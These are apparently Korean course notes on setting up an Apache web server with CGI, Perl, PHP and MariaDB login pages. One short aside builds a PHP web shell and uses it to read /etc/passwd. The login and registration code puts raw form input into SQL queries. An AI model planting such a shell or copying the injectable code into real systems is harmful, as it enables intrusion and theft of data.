메가IT아카데미 국기과정/리눅스와 시스템보안
[2-7] Apache 웹서버-1
한님폐하
2022. 9. 12. 12:21
- 웹 서버란 웹 브라우저를 이용하여 WWW(World Wide Web)을 사용하는 클라이언트에게 미리 저장된 하이퍼 텍스트를 제공하는 서버를 의미한다.
- 리눅스에서 대표적으로 많이 사용하는 웹-서버 데몬으로는 Apache가 있다.
1. httpd, mod_ssl 패키지 설치와 활성화
yum -y install httpd mod_ssl
rpm -qa | egrep -i '^httpd|^mod_ssl'
rpm -ql httpd | egrep -v '/usr/lib|/usr/share|/man/'
systemctl enable --now httpd
systemctl status httpd
2. httpd 서비스 관련 정보 확인
httpd -v # Apache 버전 확인
cat /etc/services | grep '^http' # http, https(ssl) 포트 번호 확인
3. Apache 웹 서버에 관련한 파일 및 디렉토리
/etc/httpd/conf/httpd.conf | Apache 웹 서버 주 설정 파일 |
/etc/httpd/conf.d/*.conf | Apache 웹 서버 주 설정 파일에 포함된 하위 설정 파일 |
/etc/httpd/logs | /var/log/httpd, Apache 웹 서버 로그 디렉토리 |
/etc/httpd/modules | /usr/lib/httpd/modules, Apache 웹 서버 모듈 디렉토리 |
/usr/sbin/httpd | Apache 웹 데몬(실행 파일) |
/usr/sbin/htpasswd | 특정 디렉토리를 제어할 때 사용하는 사용자 패스워드 입력 프로그램 |
/usr/sbin/apxs | Apache 모듈을 컴파일할 때 사용되는 유틸리티 |
3-1. /etc/httpd 디렉토리 구조
cd /etc/httpd
tree -L 2
3-2. 'httpd.conf' 파일의 중요 지시자
cat httpd.conf | egrep "^ServerRoot|^Listen|Include conf|User apache|Group apache|IncludeOptional"
ServerRoot "/etc/httpd" # 웹 서버 설정 파일의 최상위 디렉토리
Listen 80 # 웹 서버 listen 포트 지정
Include conf.modules.d/*.conf # 모듈 설정 파일들 지정
User apache # httpd 데몬을 실행하는 사용자
Group apache # httpd 데몬을 실행하는 그룹
IncludeOptional conf.d/*.conf # httpd 하위 설정 파일들 지정
cat httpd.conf | egrep "^ServerAdmin|#ServerName|^DocumentRoot|#CustomLog|Alias /user1|ScriptAlias /cgi"
ServerAdmin root@localhost # 관리자 이메일 주소 지정
#ServerName www.example.com:80 # 웹 서버 이름과 포트
DocumentRoot "/var/www/html" # 웹 서비스 소스 디렉토리
#CustomLog "logs/access_log" common # 웹 서버 로그 형식
Alias /user1 /home/user1/public_html # 웹 디렉토리 엘리어스 설정
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" # 스크립트 엘리어스 설정
cat httpd.conf | egrep "<Directory|</Directory>"
<Directory /> # 서비스 디렉토리 설정
</Directory>
<Directory "/var/www"> # 서비스 디렉토리 설정
</Directory>
<Directory "/var/www/html"> # 서비스 디렉토리 설정
</Directory>
# need to provide a <Directory> section to allow access to
<Directory "/var/www/cgi-bin"> # 서비스 디렉토리 설정
</Directory>
4. 웹서버 구성과 테스트
4-1. 웹서버 기본 구성
echo "### Server1 Apache Web Test Server ###" > /var/www/html/index.html
curl http://192.168.2.200
curl -k https://192.168.2.200
curl -I http://192.168.2.200
firefox http://192.168.2.200 &
4-2. 사용자별 웹서버 설정
4-2-1. 가상 디렉토리 이용
- 'user1'으로 로그인하여 user1 사용자를 위한 웹 기본 설정을 실시하고 로그아웃한다.
su - user1
echo "<H1><CENTER>Web Server(server1 : /home/user1/public_html/index.html)</CENTER></H1>" > public_html/index.html
chmod 711 /home/user1
exit
- root 계정에서 다음과 같은 설정을 실시한다.
vi /etc/httpd/conf.d/userdir.conf
# UserDir disabled
UserDir public_html
vi /etc/httpd/conf/httpd.conf
Alias /user1 /home/user1/public_html # ~user1 대신 user1으로 접속 가능
- 클라이언트에서 'curl'을 이용하여 Server1(user1) 웹 접속 테스트를 실시한다.
curl http://192.168.2.200/~user1/index.html
4-2-2. 물리 디렉토리 이용
echo "<H1><CENTER>Web Server(server1 : /var/www/html/user2/index.html)</CENTER></H1>" > /var/www/html/user2/index.html
curl http://192.168.2.200/user2/index.html
4-3. Apache 웹 서버 구성
4-3-1. ServerAdmin, ServerName 지시자 설정
vi /etc/httpd/conf/httpd.conf
ServerAdmin root@hannimpeha.com
ServerName www.hannimpeha.com:80
4-3-2. CGI(Common Gateway Interface)
- 서버와 클라이언트 간에 필요한 정보을 교환하게 해주는 일종의 웹 인터페이스/프로토콜이다.
- 용도 : 동적 HTML, 데이터베이스 질의 처리 등
- CGI 제작 도구 : C, Perl, Python, PHP, Shell...
- /var/www/cgi-bin 디렉토리에 CGI 스크립트 파일을 제작하여 사용한다.
- DocumentRoot 디렉토리가 다른 경우에는 해당 디렉토리 안에 cgi-bin 디렉토리를 생성하여 CGI 스크립트 파일을 제작한다.
4-3-2-1. Shell 스크립트
- ScriptAlias 지시자를 사용하여 CGI 디렉토리를 설정하고, /www1/cgi-bin 디렉토리를 생성 후, test.cgi(쉘 스크립트)를 만든다.
vi /etc/httpd/conf.d/vhost.conf
ScriptAlias /cgi-bin/ /www1/cgi-bin/
httpd -t
vi /www1/cgi-bin/test.cgi
#!/bin/bash
echo "Content-Type: text/html"
echo ""
echo "<pre>"
echo "Username : "
whoami
echo ""
echo "ID : "
id
echo ""
echo "Server1 File System Monitoring : "
df -h -T
echo ""
echo "Server1 IP Address : "
ifconfig ens33 | grep inet
echo ""
echo "</pre>"
chmod 555 /www1/cgi-bin/test.cgi
4-3-2-2. Perl 스크립트
- 'perl' 패키지를 설치하고, '/etc/httpd/conf.d/perl.conf' 파일을 vi 편집기로 오픈하여 30~36 라인 주석을 삭제한다.
yum -y install epel-release
yum -y install mod_perl
rpm -qa | grep mod_perl
rpm -ql mod_perl | egrep -v '/usr/share/doc|/man|/usr/lib|/usr/share/license'
vi /etc/httpd/conf.d/perl.conf
Alias /perl /var/www/perl
<Directory /var/www/perl>
SetHandler perl-script
PerlResponseHandler ModPerl::Registry
PerlOptions +ParseHeaders
Options +ExecCGI
</Directory>
httpd -t
- '/var/www/perl/test.pl' perl 스크립트 파일 생성 및 실행 권한을 설정한다.
cat << EOF >> /var/www/perl/test.pl
#!/usr/bin/perl
use strict;
print "Content-Type: text/html; charset=ISO-8859-1\n\n";
print "<HTML><BODY><H1><CENTER>";
print "Server1(Perl) time is:<BR>";
print scalar localtime();
print "</CENTER></H1></BODY></HTML>"
EOF
chmod 755 /var/www/perl/test.pl
4-3-2-3. PHP 스크립트
- php, php-mysqlnd(MariaDB,Mysql 연동 모듈) 패키지를 설치하고, 웹페이지를 구성한다.
yum -y install php php-mysqlnd
rpm -qa | grep php
echo "<?php phpinfo(); ?>" > /www1/index.php
cat << EOF >> /www1/test.php
<HTML><BODY><CENTER><H1>
Server1(PHP) time is: <BR>
<?php
print strftime("%c");
\$jb_conn = mysqli_connect( 'localhost', 'megait', 'centos', 'testdb' );
\$jb_sql = "SELECT * FROM users;";
\$jb_result = mysqli_query( \$jb_conn, \$jb_sql );
while( \$jb_row = mysqli_fetch_array( \$jb_result ) ) {
echo
'<p>'
. \$jb_row[ 'id' ]
. \$jb_row[ 'login' ]
. \$jb_row[ 'password' ]
. \$jb_row[ 'username' ]
. \$jb_row[ 'age' ]
. '</p>'
;
}
?>
</H1></CENTER></BODY></HTML>
EOF
- 클라이언트 X윈도우에서 파이어폭스를 이용하여 Server1 웹 접속 테스트를 실시한다
firefox http://192.168.2.200/index.php &
firefox http://192.168.2.200/test.php &
[참고] PHP 웹쉘(WebShell) 제작
<pre>
<?php echo shell_exec($_GET['cmd']); ?>
<pre>
firefox http://192.168.2.200/cmd.php?cmd=ls &
firefox http://192.168.2.200/cmd.php?cmd=/sbin/ifconfig+ens33 &
firefox http://192.168.2.200/cmd.php?cmd=cat+/etc/passwd &
firefox http://192.168.2.200/cmd.php?cmd=nmcli+connection &
[참고] PHP 회원 가입 페이지 생성 및 MariaDB 연동 테스트
- MariaDB를 설치하고, 접속하여 'phpdb' DB 생성, 'member' 테이블을 생성한다.
yum -y install mariadb-server
rpm -qa mariadb-server
systemctl enable --now mariadb
mysql_secure_installation # root 계정 패스워드를 설정
mysql -u root -p
create user hannimpeha@'%' identified by 'foo'; # 사용자 생성
grant all privileges on *.* to hannimpeha@'%' identified by 'foo';
flush privileges;
quit;
mysql -u root -p
create database testdb; # 'testdb' DB 생성
use testdb;
show databases;
create table member (id int, login varchar(10), password varchar(10), username varchar(20), age int); # 'member' 테이블 생성
insert into member values('member1', 'member1111', 'kim', 23);
insert into member values('member2', 'member2222', 'lee', 26);
insert into member values('member3', 'member3333', 'park', 29);
select * from member;
desc member;
show tables;
- 메인페이지 'main.php'을 제작한다.
vi /etc/httpd/conf.d/www1/main.php
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<title>hannimpeha PHP 테스트 페이지</title>
<style>
body { font-family: sans-serif; font-size: 14px; }
input, button { font-family: inherit; font-size: inherit; }
</style>
</head>
<body>
<center>
<h1> hannimpeha 회원 가입을 실시하여 24시간 다양한 서비스 혜택을 지원 받으세요. </h1>
<h2> 선착순 1000명에게 Play Station5를 무료로 지급합니다.</h2>
<img src=https://blog.kakaocdn.net/dna/m7f1m/btrEGJFvN4s/AAAAAAAAAAAAAAAAAAAAAMalbE0Hj4y5Athlpw2UTJVwId12VaiQk0b_Q3QT_0CK/img><br><br>?credential=yqXZFxpELC7KVnFOS48ylbz2pIh7yKj8&expires=1753973999&allow_ip=&allow_referer=&signature=%2FH7AM7LRDVzI%2FB5D4I%2Fj6Jbb6%2BY%3D
<img src=https://t1.daumcdn.net/cfile/tistory/99AA693B5C47D26D18></img><br><br>
<a href="register.php"><button type="button">hannimpeha 회원 가입</button></a>
</center>
</body>
</html>
- 회원가입 페이지 'register.php'을 제작한다.
vi /etc/httpd/conf.d/www1/register.php
<?php
$username = $_POST[ 'username' ];
$password = $_POST[ 'password' ];
$password_confirm = $_POST[ 'password_confirm' ];
if ( !is_null( $username ) ) {
$jb_conn = mysqli_connect( 'localhost', 'hannimpeha', 'foo', 'phpdb' );
$jb_sql = "SELECT username FROM member WHERE username = '$username';";
$jb_result = mysqli_query( $jb_conn, $jb_sql );
while ( $jb_row = mysqli_fetch_array( $jb_result ) ) {
$username_e = $jb_row[ 'username' ];
}
if ( $username == $username_e ) {
$wu = 1;
} elseif ( $password != $password_confirm ) {
$wp = 1;
} else {
$encrypted_password = password_hash( $password, PASSWORD_DEFAULT);
$jb_sql_add_user = "INSERT INTO member ( username, password ) VALUES ( '$username', '$encrypted_password' );";
mysqli_query( $jb_conn, $jb_sql_add_user );
header( 'Location: register-ok.php' );
}
}
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<title>hannimpeha 회원 가입</title>
<style>
body { font-family: sans-serif; font-size: 14px; }
input, button { font-family: inherit; font-size: inherit; }
</style>
</head>
<body>
<h1>hannimpeha 회원 가입</h1>
<form action="register.php" method="POST">
<p><input type="text" name="username" placeholder="사용자 아이디" required></p>
<p><input type="password" name="password" placeholder="비밀번호" required></p>
<p><input type="password" name="password_confirm" placeholder="비밀번호 확인" required></p>
<p><input type="submit" value="회원 가입"></p>
<?php
if ( $wu == 1 ) {
echo "<p>사용자 아이디가 중복되었습니다.</p>";
}
if ( $wp == 1 ) {
echo "<p>비밀번호가 일치하지 않습니다.</p>";
}
?>
</form>
</body>
</html>
- 회원 가입 성공 메세지 출력 페이지 'register-ok.php'을 제작한다.
vi /etc/httpd/conf.d/www1/register-ok.php
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<title>hannimpeha 회원 가입</title>
<style>
body { font-family: sans-serif; font-size: 14px; }
</style>
</head>
<body>
<h1>hannimpeha 회원 가입이 완료되었습니다. 축하합니다. </h1>
<a href="login.php">로그인</a>
</body>
</html>
- 로그인 페이지 'login.php'을 제작한다.
vi /etc/httpd/conf.d/www1/login.php
<?php
$username = $_POST[ 'username' ];
$password = $_POST[ 'password' ];
if ( !is_null( $username ) ) {
$jb_conn = mysqli_connect( 'localhost', 'hannimpeha', 'foo', 'phpdb' );
$jb_sql = "SELECT password FROM member WHERE username = '" . $username . "';";
$jb_result = mysqli_query( $jb_conn, $jb_sql );
while ( $jb_row = mysqli_fetch_array( $jb_result ) ) {
$encrypted_password = $jb_row[ 'password' ];
}
if ( is_null( $encrypted_password ) ) {
$wu = 1;
} else {
if ( password_verify( $password, $encrypted_password ) ) {
session_start();
$_SESSION[ 'username' ] = $username;
header( 'Location: login-ok.php' );
} else {
$wp = 1;
}
}
}
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<title>hannimpeha 로그인</title>
<style>
body { font-family: sans-serif; font-size: 14px; }
input, button { font-family: inherit; font-size: inherit; }
</style>
</head>
<body>
<h1>hannimpeha 로그인</h1>
<form action="login.php" method="POST">
<p><input type="text" name="username" placeholder="사용자 아이디" required></p>
<p><input type="password" name="password" placeholder="비밀번호" required></p>
<p><input type="submit" value="로그인"></p>
<?php
if ( $wu == 1 ) {
echo "<p>사용자 아이디가 존재하지 않습니다.</p>";
}
if ( $wp == 1 ) {
echo "<p>비밀번호가 틀렸습니다.</p>";
}
?>
</form>
</body>
</html>
- 로그인 성공 메세지 출력 페이지 'login-ok.php'을 제작한다.
vi /etc/httpd/conf.d/www1/login-ok.php
<?php
session_start();
$session_username = $_SESSION[ 'username' ];
if ( is_null( $session_username ) ) {
header( 'Location: login.php' );
}
?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="utf-8">
<title>hannimpeha 로그인</title>
<style>
body { font-family: sans-serif; font-size: 14px; }
input, button { font-family: inherit; font-size: inherit; }
</style>
</head>
<body>
<h1><?php echo $session_username; ?> 회원님, 로그인이 성공되었습니다. </h1>
<a href="change-password.php">비밀번호 변경</a><br>>br>
<a href="logout.php">로그아웃</a>
</body>
</html>
- 로그아웃 출력 페이지 'logout.php'을 제작한다.
vi /etc/httpd/conf.d/www1/logout.php
<?php
session_start();
session_destroy();
header( 'Location: login.php' );
?>
- Client1 X 윈도우에서 파이어폭스를 이용하여 Server1 웹 접속 테스트를 실시한다.
- 회원가입 및 비밀번호 변경을 실시하면, MariaDB 'phpdb' 데이터베이스의 'member' 테이블에 저장된다.
firefox http://192.168.2.200/main.php &
[참고] CGI 방식와 WAS 방식 차이점
- CGI 방식은 웹서버와 외부 프로그램을 직접 연결시켜 웹서버 위에서 외부 프로그램이 실행되는 방식이고,
- WAS 방식은 외부 프로그램을 웹서버와 분리시키고 WAS라는 별개의 서버 위에서 실행이 된다.
4-3-3. '/www1' 디렉토리를 사용하는 가상 호스트를 구성한다.
- '/usr/share/doc/httpd/httpd-vhosts.conf' 파일 내용을 참고하여 '/etc/httpd/conf.d/vhost.conf' 파일을 제작한다.
vi /etc/httpd/conf.d/vhost.conf
<VirtualHost *:80>
ServerAdmin webmaster@hannimpeha.com
ServerName www.hannimpeha.com
ServerAlias hannimpeha.com
DocumentRoot "/www1"
ErrorLog "/var/log/httpd/hannimpeha.com_error_log"
CustomLog "/var/log/httpd/hannimpeha.com_access_log" common
<Directory /www1>
Require all granted
Options Indexes Includes
</Directory>
</VirtualHost>
:wq
httpd -t
5. .htaccess 파일을 이용한 웹 보안
- '.htaccess' 파일을 이용하면 인증 단계를 실시하여 index 페이지가 열리기 때문에 웹 서버 특정 디렉토리 내용을 보호할 수 있다.
- CGI 스크립트 실행을 아이디/패스워드 인증을 거친 사용자에게만 허용하기 위해서는 .htaccess 파일을 인증할 디렉토리에 넣는다.
- AllowOverride 지시자를 이용하여 어떻게 접근을 허용할 것인가에 대해서 설정한다.
vi /etc/httpd/conf.d/vhost.conf
AllowOverride AuthConfig
httpd -t
[참고] AllowOverride 지시자 옵션
AuthConfig | 지시자에 명시한 파일에 대하여 클라이언트 인증 지시자의 사용을 허용한다. |
AuthType | 인증 타입은 Basic, Digest가 있지만, 현재 Basic만 지원한다. |
AuthName | 인증 영역에 대한 이름을 지정하는 지시자. 클라이언트의 웹 브라우저에 전달 되어 유저 인증 윈도우 내의 영역에 표시되며 주의할 점은 영역 이름을 기입할 때 스페이스가 들어가서는 안된다. 만일 영역 이름에 스페이스가 들어 갈 때는 반드시 큰 따옴표로 묶어 주어야 한다. |
AuthUserFile | 인증 사용자와 패스워드를 가진 패스워드 파일을 지정하는 지시자. 사용자 인증 패스워드 파일을 지정할 때 슬래쉬가 없는 경우, 즉 디렉토리르 지정하지 않으면 서버 루트 디렉토리를 기본으로 한다. |
require user | 지정한 유저만 디렉토리 접근을 허용한다. |
require valid-user | 패스워드 인증이 올바르게 된 사용들만 접근을 허용한다. |
- AllowOverride 옵션으로 AuthConfig 지정한 경우, AuthName, AuthType, AuthUserFile, require 등을 지정할 수 있다.
vi /etc/httpd/conf.d/www1/.htaccess
AuthName "restricted stuff"
AuthType Basic
AuthUserFile /etc/httpd/conf/mypasswd
require valid-user
- Baisc 인증 타입은 특정 웹페이지를 접근하는 경우, /etc/httpd/conf/mypasswd 파일에 정의된 ID/PASS 정보와 일치하는 경우에만 웹페이지에 접근할 수 있다.
- 'htpasswd 명령어를 이용하여 '/etc/httpd/conf/mypasswd' 파일을 생성한다.
htpasswd -c /etc/httpd/conf/mypasswd testuser